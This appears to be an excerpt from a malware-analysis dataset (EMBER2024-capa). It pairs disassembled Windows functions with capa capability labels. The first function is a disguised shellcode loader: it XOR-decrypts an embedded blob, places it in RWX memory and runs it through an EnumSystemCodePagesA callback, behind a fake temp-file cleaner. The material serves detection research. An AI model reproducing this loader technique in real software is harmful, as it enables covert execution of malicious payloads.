joyce8/EMBER2024-capa huggingface dataset:
Function at 0x401440
Capabilities:
Allocate or change rwx memory
Execute shellcode via windows callback function

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x42d970
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ecx
sub esp, 0x6c
push ebx
push esi
push edi
mov dword [ebp - 0x10], esp
mov dword [ebp - 0x1c], 0
mov dword [ebp - 0x24], 0
mov dword [ebp - 0x38], str.zowaeusqggscn
push 0x2faf080
call fcn.0040f5ee
add esp, 4
mov dword [ebp - 0x30], eax
mov eax, dword [ebp - 0x30]
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], 0
jne 0x40149a
xor eax, eax
jmp 0x4016b7
mov dword [ebp - 0x34], 0
lea ecx, [ebp - 0x34]
push ecx
mov edx, dword [ebp - 0x20]
add edx, 0x2faf080
push edx
mov eax, dword [ebp - 0x20]
push eax
call fcn.00402ff0
mov dword [ebp - 0x1c], 0
jmp 0x4014ca
mov ecx, dword [ebp - 0x1c]
add ecx, 1
mov dword [ebp - 0x1c], ecx
cmp dword [ebp - 0x1c], 0x1657
jae 0x40151c
mov edx, dword [ebp - 0x1c]
mov al, byte [edx + section..data]
mov byte [ebp - 0x11], al
mov ecx, dword [ebp - 0x38]
add ecx, dword [ebp - 0x24]
mov dl, byte [ecx]
mov byte [ebp - 0x12], dl
movzx eax, byte [ebp - 0x11]
sar eax, 3
movzx ecx, byte [ebp - 0x11]
shl ecx, 5
or eax, ecx
movzx edx, byte [ebp - 0x12]
xor eax, edx
mov ecx, dword [ebp - 0x1c]
mov byte [ecx + section..data], al
mov eax, dword [ebp - 0x24]
add eax, 1
cdq
mov ecx, 0xd
idiv ecx
mov dword [ebp - 0x24], edx
jmp 0x4014c1
push 0x40
push 0x3000
push 0x1657
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov dword [ebp - 0x2c], eax
push 0x1657
push section..data
mov edx, dword [ebp - 0x2c]
push edx
call fcn.00401980
push 0
mov eax, dword [ebp - 0x2c]
push eax
call dword [sym.imp.KERNEL32.dll_EnumSystemCodePagesA]
mov ecx, dword [ebp - 0x20]
mov dword [ebp - 0x3c], ecx
mov edx, dword [ebp - 0x3c]
push edx
call fcn.0040f5f7
add esp, 4
mov dword [ebp - 4], 0
lea eax, [ebp - 0x64]
push eax
call fcn.004018c0
lea ecx, [ebp - 0x64]
call fcn.00409f50
lea edx, [ebp - 0x64]
push edx
lea eax, [ebp - 0x4c]
push eax
call fcn.004016d0
lea ecx, [ebp - 0x4c]
call fcn.00409f80
movzx ecx, al
test ecx, ecx
je 0x4015d2
push 0x402fc0
push str.No_temporary_files_found.
push 0x441a80
call fcn.004021e0
mov ecx, eax
call fcn.00404a30
mov dword [ebp - 0x40], 0
lea ecx, [ebp - 0x4c]
call fcn.004045f0
lea ecx, [ebp - 0x64]
call fcn.004044e0
mov eax, dword [ebp - 0x40]
jmp 0x4016b7
push str._temporary_files_found._Do_you_want_to_delete_them___Y_N_
lea ecx, [ebp - 0x4c]
call fcn.0040bd30
push eax
mov ecx, 0x441a80
call fcn.00404a50
push eax
call fcn.004021e0
lea edx, [ebp - 0x18]
push edx
push 0x441a08
call fcn.00401b60
movzx eax, word [ebp - 0x18]
push eax
call fcn.00414c01
add esp, 4
movzx ecx, ax
cmp ecx, 0x59
jne 0x401637
lea edx, [ebp - 0x4c]
push edx
call fcn.004017f0
push 0x402fc0
push str.Temporary_files_deleted.
push 0x441a80
call fcn.004021e0
mov ecx, eax
call fcn.00404a30
lea ecx, [ebp - 0x4c]
call fcn.004045f0
lea ecx, [ebp - 0x64]
call fcn.004044e0
jmp 0x4016a5
mov dword [ebp - 4], 0xffffffff
jmp 0x4016b5
xor eax, eax
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0x10
Function at 0x4016d0
Capabilities:
Enumerate files on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2c0
lea ecx, [ebp - 0x10]
call fcn.00403be0
lea eax, [ebp - 0x2c0]
push eax
push 0x42e3b8
mov ecx, dword [ebp + 0xc]
push ecx
lea edx, [ebp - 0x40]
push edx
call fcn.00402610
mov ecx, eax
call fcn.00408dd0
push eax
call dword [sym.imp.KERNEL32.dll_FindFirstFileW]
mov dword [ebp - 4], eax
lea ecx, [ebp - 0x40]
call fcn.004044e0
cmp dword [ebp - 4], 0xffffffff
jne 0x401735
lea eax, [ebp - 0x10]
push eax
mov ecx, dword [ebp + 8]
call fcn.00403ba0
lea ecx, [ebp - 0x10]
call fcn.004045f0
mov eax, dword [ebp + 8]
jmp 0x4017e9
lea ecx, [ebp - 0x294]
push ecx
lea ecx, [ebp - 0x28]
call fcn.00403960
push 0x42e3c0
lea edx, [ebp - 0x28]
push edx
call fcn.00402560
movzx eax, al
test eax, eax
je 0x4017a7
push 0x42e3c4
lea ecx, [ebp - 0x28]
push ecx
call fcn.00402560
movzx edx, al
test edx, edx
je 0x4017a7
lea eax, [ebp - 0x28]
push eax
push 0x42e3cc
mov ecx, dword [ebp + 0xc]
push ecx
lea edx, [ebp - 0x70]
push edx
call fcn.00402610
push eax
lea eax, [ebp - 0x58]
push eax
call fcn.004025e0
push eax
lea ecx, [ebp - 0x10]
call fcn.0040b320
lea ecx, [ebp - 0x58]
call fcn.004044e0
lea ecx, [ebp - 0x70]
call fcn.004044e0
lea ecx, [ebp - 0x28]
call fcn.004044e0
lea ecx, [ebp - 0x2c0]
push ecx
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.KERNEL32.dll_FindNextFileW]
test eax, eax
jne 0x401735
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.KERNEL32.dll_FindClose]
lea ecx, [ebp - 0x10]
push ecx
mov ecx, dword [ebp + 8]
call fcn.00403ba0
lea ecx, [ebp - 0x10]
call fcn.004045f0
mov eax, dword [ebp + 8]
mov esp, ebp
pop ebp
ret 8

Function at 0x41a1b9
Capabilities:
Parse pe header

Disassembly:
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test eax, eax
je 0x41a1f8
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x41a1f8
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x41a1f8
mov eax, 0x10b
cmp word [ecx + 0x18], ax
jne 0x41a1f8
cmp dword [ecx + 0x74], 0xe
jbe 0x41a1f8
cmp dword [ecx + 0xe8], 0
setne al
ret
xor al, al
ret

Function at 0x41e322
Capabilities:
Allocate thread local storage

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push str.FlsAlloc
push 0x4346cc
push str.FlsAlloc
push 0x1f
call fcn.0041e1ea
mov esi, eax
add esp, 0x10
test esi, esi
je 0x41e356
push dword [ebp + 8]
mov ecx, esi
call dword [0x42e200]
call esi
jmp 0x41e35c
call dword [sym.imp.KERNEL32.dll_TlsAlloc]
pop esi
pop ebp
ret 4

Function at 0x41e3a0
Capabilities:
Get thread local storage value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push str.FlsGetValue
push 0x4346f0
push str.FlsGetValue
push 0x21
call fcn.0041e1ea
mov esi, eax
add esp, 0x10
test esi, esi
je 0x41e3d7
push dword [ebp + 8]
mov ecx, esi
call dword [0x42e200]
call esi
pop esi
pop ebp
ret 4
pop esi
pop ebp
jmp dword [sym.imp.KERNEL32.dll_TlsGetValue]
Function at 0x41e3df
Capabilities:
Set thread local storage value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push str.FlsSetValue
push 0x434704
push str.FlsSetValue
push 0x22
call fcn.0041e1ea
mov esi, eax
add esp, 0x10
test esi, esi
je 0x41e419
push dword [ebp + 0xc]
mov ecx, esi
push dword [ebp + 8]
call dword [0x42e200]
call esi
pop esi
pop ebp
ret 8
pop esi
pop ebp
jmp dword [sym.imp.KERNEL32.dll_TlsSetValue]
Function at 0x42007a
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
mov eax, 0x101c
call fcn.00410670
mov eax, dword [0x4406cc]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 0x14]
push ebx
push dword [ebp + 8]
mov dword [ebp - 0x100c], eax
call fcn.0041e955
pop ecx
mov ecx, dword [ebp + 8]
mov ebx, eax
cmp dword [ecx + 8], 0
jne 0x4200bc
mov eax, dword [ebp + 0xc]
mov edx, dword [ebp + 0x10]
jmp 0x420218
mov eax, dword [ecx]
sub eax, dword [ecx + 4]
push esi
push edi
push 0
cdq
push 2
push edx
push eax
call fcn.0042d420
push dword [ebp - 0x100c]
mov ecx, ebx
mov dword [ebp - 0x1008], eax
mov esi, ebx
mov dword [ebp - 0x1018], edx
and ecx, 0x3f
sar esi, 6
imul edi, ecx, 0x38
push 0
mov eax, dword [esi*4 + 0x442590]
push dword [eax + edi + 0x24]
push dword [eax + edi + 0x20]
push ebx
call fcn.004208d0
mov ecx, dword [esi*4 + 0x442590]
add esp, 0x14
mov dword [ebp - 0x1010], eax
mov eax, edx
mov edx, dword [ebp - 0x1010]
mov dword [ebp - 0x101c], eax
cmp edx, dword [ecx + edi + 0x20]
jne 0x420211
cmp eax, dword [ecx + edi + 0x24]
jne 0x420211
push 0
lea eax, [ebp - 0x1014]
push eax
push 0x1000
lea eax, [ebp - 0x1004]
push eax
push dword [ecx + edi + 0x18]
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x420211
push dword [ebp - 0x100c]
push 0
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push ebx
call fcn.004208d0
add esp, 0x14
test edx, edx
jl 0x420211
jg 0x420187
test eax, eax
jb 0x420211
mov ebx, dword [ebp - 0x1018]
mov eax, dword [ebp - 0x1014]
test ebx, ebx
jg 0x420211
jl 0x4201a1
cmp dword [ebp - 0x1008], eax
ja 0x420211
lea edi, [ebp - 0x1004]
xor edx, edx
add edi, eax
lea ecx, [ebp - 0x1004]
xor esi, esi
cmp dword [ebp - 0x1008], edx
jne 0x4201bf
test ebx, ebx
je 0x4201f8
cmp ecx, edi
jae 0x4201f8
mov al, byte [ecx]
cmp al, 0xd
jne 0x4201d9
lea eax, [edi - 1]
cmp ecx, eax
jae 0x4201e5
cmp byte [ecx + 1], 0xa
jne 0x4201e5
inc ecx
jmp 0x4201e5
movzx eax, al
movsx eax, byte [eax + 0x441000]
add ecx, eax
add esi, 1
adc edx, 0
inc ecx
cmp esi, dword [ebp - 0x1008]
jne 0x4201bf
cmp edx, ebx
jne 0x4201bf
lea eax, [ebp - 0x1004]
sub ecx, eax
mov eax, ecx
cdq
add eax, dword [ebp - 0x1010]
adc edx, dword [ebp - 0x101c]
jmp 0x420216
or edx, 0xffffffff
mov eax, edx
pop edi
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
pop ebx
call fcn.0040fcf3
leave
ret
Function at 0x42483e
Capabilities:
Enumerate files on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x264
mov eax, dword [0x4406cc]
xor eax, ebp
mov dword [ebp - 4], eax
mov edx, dword [ebp + 0xc]
mov ecx, dword [ebp + 0x10]
push ebx
push esi
push edi
mov edi, dword [ebp + 8]
mov dword [ebp - 0x25c], ecx
cmp edx, edi
je 0x424889
movzx eax, word [edx]
lea ecx, [ebp - 0x255]
push eax
call fcn.004249d9
test al, al
jne 0x424883
sub edx, 2
cmp edx, edi
jne 0x424869
mov ecx, dword [ebp - 0x25c]
movzx esi, word [edx]
cmp esi, 0x3a
jne 0x4248ab
lea eax, [edi + 2]
cmp edx, eax
je 0x4248ab
push ecx
xor ebx, ebx
push ebx
push ebx
push edi
call fcn.0042478a
add esp, 0x10
jmp 0x4249a5
push esi
lea ecx, [ebp - 0x255]
call fcn.004249d9
sub edx, edi
movzx eax, al
sar edx, 1
inc edx
neg eax
sbb eax, eax
xor ebx, ebx
push ebx
push ebx
and eax, edx
push ebx
mov dword [ebp - 0x260], eax
lea eax, [ebp - 0x254]
push eax
push ebx
push edi
call dword [sym.imp.KERNEL32.dll_FindFirstFileExW]
mov esi, eax
cmp esi, 0xffffffff
jne 0x4248ee
push dword [ebp - 0x25c]
jmp 0x42489b
mov ebx, dword [ebp - 0x25c]
push 0x2e
mov eax, dword [ebx + 4]
sub eax, dword [ebx]
sar eax, 2
mov dword [ebp - 0x25c], eax
pop eax
cmp word [ebp - 0x228], ax
jne 0x42492b
cmp word [ebp - 0x226], 0
je 0x42494c
cmp word [ebp - 0x226], ax
jne 0x42492b
cmp word [ebp - 0x224], 0
je 0x42494c
push ebx
push dword [ebp - 0x260]
lea eax, [ebp - 0x228]
push edi
push eax
call fcn.0042478a
add esp, 0x10
mov dword [ebp - 0x264], eax
test eax, eax
jne 0x424998
lea eax, [ebp - 0x254]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_FindNextFileW]
push 0x2e
test eax, eax
pop eax
jne 0x424905
mov eax, dword [ebx + 4]
mov edx, dword [ebx]
sub eax, edx
mov ecx, dword [ebp - 0x25c]
sar eax, 2
cmp ecx, eax
jne 0x424980
push esi
call dword [sym.imp.KERNEL32.dll_FindClose]
xor eax, eax
jmp 0x4249a5
push 0x4245ba
sub eax, ecx
push 4
push eax
lea eax, [edx + ecx*4]
push eax
call fcn.0042be90
add esp, 0x10
jmp 0x424975
push esi
call dword [sym.imp.KERNEL32.dll_FindClose]
mov eax, dword [ebp - 0x264]
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.0040fcf3
leave
ret

Function at 0x42798a
Capabilities:
Get geographical location

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ecx
push esi
push edi
call fcn.0041d144
mov esi, dword [ebp + 8]
mov edi, eax
push 2
lea eax, [ebp - 4]
mov ecx, esi
push eax
and ecx, 0x3ff
push 0x20000001
or ecx, 0x400
push ecx
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoW]
test eax, eax
je 0x4279f9
cmp esi, dword [ebp - 4]
je 0x4279f4
cmp dword [ebp + 0xc], 0
je 0x4279f4
mov esi, dword [edi + 0x50]
lea ecx, [esi + 2]
mov ax, word [esi]
add esi, 2
test ax, ax
jne 0x4279d1
push dword [edi + 0x50]
sub esi, ecx
sar esi, 1
call fcn.004274dc
pop ecx
xor ecx, ecx
cmp eax, esi
setne cl
mov eax, ecx
jmp 0x4279fb
xor eax, eax
inc eax
jmp 0x4279fb
xor eax, eax
pop edi
pop esi
leave
ret
Function at 0x427a60
Capabilities:
Get geographical location

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x18
mov eax, dword [0x4406cc]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 0xc]
push ebx
mov ebx, dword [ebp + 0x10]
push esi
mov esi, dword [ebp + 8]
push edi
mov dword [ebp - 0x18], eax
call fcn.0041d144
add eax, 0x50
lea edi, [ebp - 0x10]
mov dword [ebp - 0x14], eax
xor eax, eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
call fcn.0041d144
lea ecx, [ebp - 0x10]
xor edx, edx
mov dword [eax + 0x34c], ecx
lea ecx, [esi + 0x80]
mov eax, dword [ebp - 0x14]
mov dword [eax], esi
lea edi, [eax + 4]
mov dword [edi], ecx
test ecx, ecx
je 0x427ad7
cmp word [ecx], dx
je 0x427ad7
mov eax, dword [0x434dd4]
push edi
dec eax
push eax
push 0x434cc0
call fcn.004279ff
mov eax, dword [ebp - 0x14]
add esp, 0xc
xor edx, edx
mov dword [ebp - 0x10], edx
mov eax, dword [eax]
test eax, eax
je 0x427b4a
cmp word [eax], dx
je 0x427b4a
mov eax, dword [edi]
test eax, eax
je 0x427afb
cmp word [eax], dx
je 0x427afb
lea eax, [ebp - 0x10]
push eax
call fcn.004273e2
jmp 0x427b04
lea eax, [ebp - 0x10]
push eax
call fcn.0042747d
cmp dword [ebp - 0x10], 0
pop ecx
jne 0x427b74
mov eax, dword [0x434cbc]
push dword [ebp - 0x14]
dec eax
push eax
push 0x4349b0
call fcn.004279ff
add esp, 0xc
test al, al
je 0x427b74
mov eax, dword [edi]
xor edi, edi
test eax, eax
je 0x427b3f
cmp word [eax], di
je 0x427b3f
lea eax, [ebp - 0x10]
push eax
call fcn.004273e2
pop ecx
jmp 0x427b76
lea eax, [ebp - 0x10]
push eax
call fcn.0042747d
jmp 0x427b3c
mov eax, dword [edi]
test eax, eax
je 0x427b61
cmp word [eax], dx
je 0x427b61
lea eax, [ebp - 0x10]
push eax
call fcn.00427397
pop ecx
jmp 0x427b74
mov dword [ebp - 0x10], 0x104
call dword [sym.imp.KERNEL32.dll_GetUserDefaultLCID]
mov dword [ebp - 8], eax
mov dword [ebp - 0xc], eax
xor edi, edi
cmp dword [ebp - 0x10], 0
je 0x427c3f
lea eax, [ebp - 0x10]
push eax
lea eax, [esi + 0x100]
neg esi
sbb esi, esi
and esi, eax
push esi
call fcn.00427884
mov esi, eax
pop ecx
pop ecx
test esi, esi
je 0x427c3f
movzx ecx, si
push ecx
call dword [sym.imp.KERNEL32.dll_IsValidCodePage]
test eax, eax
je 0x427c3f
push 1
push dword [ebp - 0xc]
call dword [sym.imp.KERNEL32.dll_IsValidLocale]
test eax, eax
je 0x427c3f
mov eax, dword [ebp - 0x18]
test eax, eax
je 0x427bcc
mov dword [eax], esi
mov eax, dword [ebp - 0x14]
push edi
push 0x55
add eax, 0x250
push eax
push dword [ebp - 0xc]
call fcn.0041e51f
test ebx, ebx
je 0x427c3a
push edi
push 0x55
lea eax, [ebx + 0x120]
push eax
push dword [ebp - 0xc]
call fcn.0041e51f
push 0x40
push ebx
push 0x1001
push dword [ebp - 0xc]
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoW]
test eax, eax
je 0x427c3f
push 0x40
lea eax, [ebx + 0x80]
push eax
push 0x1002
push dword [ebp - 8]
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoW]
test eax, eax
je 0x427c3f
push 0xa
push 0x10
lea ecx, [ebx + 0x100]
push ecx
push esi
call fcn.0042c530
add esp, 0x10
xor eax, eax
inc eax
jmp 0x427c41
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.0040fcf3
leave
ret
Function at 0x428492
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x18
mov eax, dword [ebp + 8]
mov ecx, eax
push ebx
mov ebx, dword [ebp + 0xc]
and eax, 0x3f
sar ecx, 6
push esi
push edi
imul edi, eax, 0x38
mov eax, dword [ecx*4 + 0x442590]
mov dword [ebp - 0xc], ecx
mov ecx, dword [edi + eax + 0x18]
mov dword [ebp - 0x14], ecx
mov ecx, dword [ebp + 0x10]
test ecx, ecx
je 0x4284d2
cmp byte [ebx], 0xa
jne 0x4284d2
or byte [edi + eax + 0x28], 4
jmp 0x4284d7
and byte [edi + eax + 0x28], 0xfb
add ecx, ebx
mov eax, ebx
mov dword [ebp - 0x10], ecx
mov esi, ebx
mov dword [ebp - 8], eax
cmp ebx, ecx
jae 0x4285d6
mov dl, byte [eax]
cmp dl, 0x1a
je 0x4285b9
inc eax
cmp dl, 0xd
je 0x428503
mov dword [ebp - 8], eax
mov byte [esi], dl
jmp 0x428529
cmp eax, ecx
jae 0x428537
mov cl, byte [eax]
xor eax, eax
cmp cl, 0xa
sete al
inc eax
add dword [ebp - 8], eax
cmp cl, 0xa
sete al
dec al
and al, 3
add al, 0xa
mov byte [esi], al
mov eax, dword [ebp - 8]
mov ecx, dword [ebp - 0x10]
xor edx, edx
inc edx
add esi, edx
cmp eax, ecx
jb 0x4284eb
jmp 0x4285d6
push 0
lea eax, [ebp - 0x10]
push eax
push 1
lea eax, [ebp - 1]
push eax
push dword [ebp - 0x14]
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x4285b4
cmp dword [ebp - 0x10], 0
je 0x4285b4
mov ecx, dword [ebp - 0xc]
mov eax, dword [ecx*4 + 0x442590]
test byte [eax + edi + 0x28], 0x48
je 0x42858e
mov dl, byte [ebp - 1]
lea eax, [esi + 1]
mov dword [ebp - 0x14], eax
cmp dl, 0xa
jne 0x428579
mov byte [esi], dl
jmp 0x42858a
mov byte [esi], 0xd
mov eax, dword [ecx*4 + 0x442590]
mov byte [eax + edi + 0x2a], dl
mov eax, dword [ebp - 0x14]
mov esi, eax
jmp 0x4285d6
cmp byte [ebp - 1], 0xa
jne 0x42859d
cmp esi, ebx
jne 0x42859d
mov byte [esi], 0xa
jmp 0x4285d5
push 1
push 0xffffffffffffffff
push 0xffffffffffffffff
push dword [ebp + 8]
call fcn.004208ee
add esp, 0x10
cmp byte [ebp - 1], 0xa
je 0x4285d6
mov byte [esi], 0xd
jmp 0x4285d5
mov ecx, dword [ebp - 0xc]
mov ecx, dword [ecx*4 + 0x442590]
mov al, byte [ecx + edi + 0x28]
test al, 0x40
jne 0x4285d3
or al, 2
mov byte [ecx + edi + 0x28], al
jmp 0x4285d6
mov byte [esi], dl
inc esi
sub esi, ebx
pop edi
mov eax, esi
pop esi
pop ebx
leave
ret
Function at 0x4285df
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x1c
mov eax, dword [ebp + 8]
mov ecx, eax
push ebx
mov ebx, dword [ebp + 0xc]
and eax, 0x3f
push esi
sar ecx, 6
push edi
imul edi, eax, 0x38
mov dword [ebp - 8], ecx
mov eax, dword [ecx*4 + 0x442590]
push 0xa
pop edx
mov dword [ebp - 0x18], edx
mov ecx, dword [eax + edi + 0x18]
mov dword [ebp - 0x1c], ecx
mov ecx, dword [ebp + 0x10]
test ecx, ecx
je 0x428625
cmp word [ebx], dx
jne 0x428625
or byte [eax + edi + 0x28], 4
jmp 0x42862a
and byte [eax + edi + 0x28], 0xfb
lea edx, [ebx + ecx*2]
mov eax, ebx
mov dword [ebp - 0xc], edx
mov esi, ebx
mov dword [ebp - 4], eax
cmp ebx, edx
jae 0x42878d
mov dword [ebp - 0x10], 0xd
movzx ecx, word [eax]
mov edx, ecx
mov dword [ebp - 0x14], edx
mov edx, dword [ebp - 0xc]
cmp ecx, 0x1a
je 0x42876d
add eax, 2
cmp cx, word [ebp - 0x10]
je 0x42866b
mov dword [ebp - 4], eax
mov word [esi], cx
jmp 0x4286a1
cmp eax, edx
jae 0x4286af
movzx eax, word [eax]
xor ecx, ecx
cmp ax, word [ebp - 0x18]
mov edx, eax
push 0xa
sete cl
xor eax, eax
lea ecx, [ecx*2 + 2]
add dword [ebp - 4], ecx
pop ecx
cmp dx, cx
mov edx, dword [ebp - 0xc]
sete al
dec eax
and eax, 3
add eax, ecx
mov word [esi], ax
mov eax, dword [ebp - 4]
push 2
pop ecx
add esi, ecx
cmp eax, edx
jb 0x428646
jmp 0x42878d
push 0
lea eax, [ebp - 0x18]
push eax
push 2
lea eax, [ebp - 4]
push eax
push dword [ebp - 0x1c]
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x428768
cmp dword [ebp - 0x18], 0
je 0x428768
mov edx, dword [ebp - 8]
push 0xa
mov eax, dword [edx*4 + 0x442590]
test byte [eax + edi + 0x28], 0x48
je 0x42873e
lea eax, [esi + 2]
mov dword [ebp - 0x1c], eax
mov ax, word [ebp - 4]
pop ecx
mov word [ebp - 2], ax
cmp ax, cx
jne 0x428702
mov word [esi], cx
jmp 0x428739
push 0xd
pop ecx
mov word [esi], cx
movzx ecx, ax
mov eax, dword [edx*4 + 0x442590]
mov dx, word [ebp - 2]
shr ecx, 8
push 0xa
mov byte [eax + edi + 0x2a], dl
mov edx, dword [ebp - 8]
mov eax, dword [edx*4 + 0x442590]
mov byte [eax + edi + 0x2b], cl
mov eax, dword [edx*4 + 0x442590]
pop ecx
mov byte [eax + edi + 0x2c], cl
mov esi, dword [ebp - 0x1c]
jmp 0x42878d
pop eax
cmp word [ebp - 4], ax
jne 0x42874e
cmp esi, ebx
jne 0x42874e
mov word [esi], ax
jmp 0x42878a
push 1
push 0xffffffffffffffff
push 0xfffffffffffffffe
push dword [ebp + 8]
call fcn.004208ee
add esp, 0x10
push 0xa
pop eax
cmp word [ebp - 4], ax
je 0x42878d
push 0xd
pop eax
jmp 0x428749
mov edx, dword [ebp - 8]
mov edx, dword [edx*4 + 0x442590]
mov al, byte [edx + edi + 0x28]
test al, 0x40
jne 0x428787
or al, 2
mov byte [edx + edi + 0x28], al
jmp 0x42878d
mov word [esi], cx
add esi, 2
sub esi, ebx
and esi, 0xfffffffe
pop edi
mov eax, esi
pop esi
pop ebx
leave
ret
Function at 0x42cc75
Capabilities:
Clear file content

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x2c
push ebx
mov ebx, dword [ebp + 8]
lea ecx, [ebp - 0x2c]
push esi
push edi
push dword [ebp + 0x10]
mov edi, dword [ebp + 0x14]
push dword [ebp + 0xc]
push ebx
call fcn.0042cbf1
mov eax, dword [ebp - 0x2c]
and eax, dword [ebp - 0x28]
cmp eax, 0xffffffff
je 0x42cde4
mov eax, dword [ebp - 0x24]
and eax, dword [ebp - 0x20]
cmp eax, 0xffffffff
je 0x42cde4
mov ecx, dword [ebp - 0x18]
mov eax, dword [ebp - 0x1c]
mov dword [ebp - 8], ecx
mov dword [ebp - 4], eax
test ecx, ecx
jl 0x42cd99
jg 0x42ccd1
test eax, eax
je 0x42cd8f
push 1
push 0x1000
call fcn.00417f30
mov esi, eax
pop ecx
pop ecx
test esi, esi
jne 0x42ccf4
push 0xc
pop ebx
mov byte [edi + 0x1c], 1
mov dword [edi + 0x18], ebx
jmp 0x42cd86
push 0x8000
push ebx
call fcn.0041ae8f
pop ecx
pop ecx
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 0x18]
test eax, eax
jl 0x42cd1d
jg 0x42cd18
cmp ecx, 0x1000
jb 0x42cd1d
mov ecx, 0x1000
push edi
push ecx
push esi
push ebx
call fcn.0041f6ef
add esp, 0x10
cmp eax, 0xffffffff
je 0x42cd62
mov ecx, dword [ebp - 4]
cdq
sub ecx, eax
mov eax, dword [ebp - 8]
mov dword [ebp - 4], ecx
sbb eax, edx
mov dword [ebp - 8], eax
test eax, eax
jg 0x42cd18
jl 0x42cd49
test ecx, ecx
jne 0x42cd0a
push dword [ebp - 0xc]
push ebx
call fcn.0041ae8f
push esi
call fcn.004190b2
add esp, 0xc
xor ebx, ebx
jmp 0x42cdf2
cmp byte [edi + 0x24], 0
je 0x42cd79
cmp dword [edi + 0x20], 5
jne 0x42cd79
mov byte [edi + 0x1c], 1
mov dword [edi + 0x18], 0xd
cmp byte [edi + 0x1c], 0
je 0x42cd84
mov ebx, dword [edi + 0x18]
jmp 0x42cd86
xor ebx, ebx
push esi
call fcn.004190b2
pop ecx
jmp 0x42cdf2
test ecx, ecx
jg 0x42cd5b
jl 0x42cd99
test eax, eax
jae 0x42cd5b
push 0
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push ebx
call fcn.004208ee
and eax, edx
add esp, 0x10
cmp eax, 0xffffffff
jne 0x42cdb9
cmp byte [edi + 0x1c], 0
je 0x42cd5b
jmp 0x42cdea
push ebx
call fcn.00425921
pop ecx
push eax
call dword [sym.imp.KERNEL32.dll_SetEndOfFile]
test eax, eax
jne 0x42cd5b
call dword [sym.imp.KERNEL32.dll_GetLastError]
push 0xd
mov byte [edi + 0x24], 1
mov dword [edi + 0x20], eax
pop ebx
mov byte [edi + 0x1c], 1
mov dword [edi + 0x18], ebx
jmp 0x42cdf2
cmp byte [edi + 0x1c], 0
je 0x42cdef
mov ebx, dword [edi + 0x18]
jmp 0x42cdf2
push 0x16
pop ebx
push 0
push dword [ebp - 0x28]
push dword [ebp - 0x2c]
push dword [ebp - 0x14]
call fcn.004208ee
add esp, 0x10
mov eax, ebx
pop edi
pop esi
pop ebx
leave
ret
Function at 0x402b08
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff4
movzx eax, word [section.DATA]
mov dword [ebp - 8], eax
lea eax, [ebp - 4]
push eax
push 1
push 0
push 0x402ba0
push 0x80000002
call sub.advapi32.dll_RegOpenKeyExA
test eax, eax
jne 0x402b80
xor eax, eax
push ebp
push 0x402b79
push dword fs:[eax]
mov dword fs:[eax], esp
mov dword [ebp - 0xc], 4
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 8]
push eax
push 0
push 0
push 0x402bbc
mov eax, dword [ebp - 4]
push eax
call sub.advapi32.dll_RegQueryValueExA
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x402b80
mov eax, dword [ebp - 4]
push eax
call sub.advapi32.dll_RegCloseKey
ret
mov ax, word [section.DATA]
and ax, 0xffc0
mov dx, word [ebp - 8]
and dx, 0x3f
or ax, dx
mov word [section.DATA], ax
mov esp, ebp
pop ebp
ret

Function at 0x403950
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
push ebx
push esi
push edi
mov edi, ecx
mov esi, edx
mov ebx, eax
mov eax, 8
call fcn.004026f4
mov dword [eax], edi
mov edx, dword [ebp + 0x10]
mov dword [eax + 4], edx
mov byte [0x45d045], 1
mov edx, dword [ebp + 8]
push edx
mov edx, dword [ebp + 0xc]
push edx
push eax
mov eax, 0x403918
push eax
push esi
push ebx
call sub.kernel32.dll_CreateThread
pop edi
pop esi
pop ebx
pop ebp
ret 0xc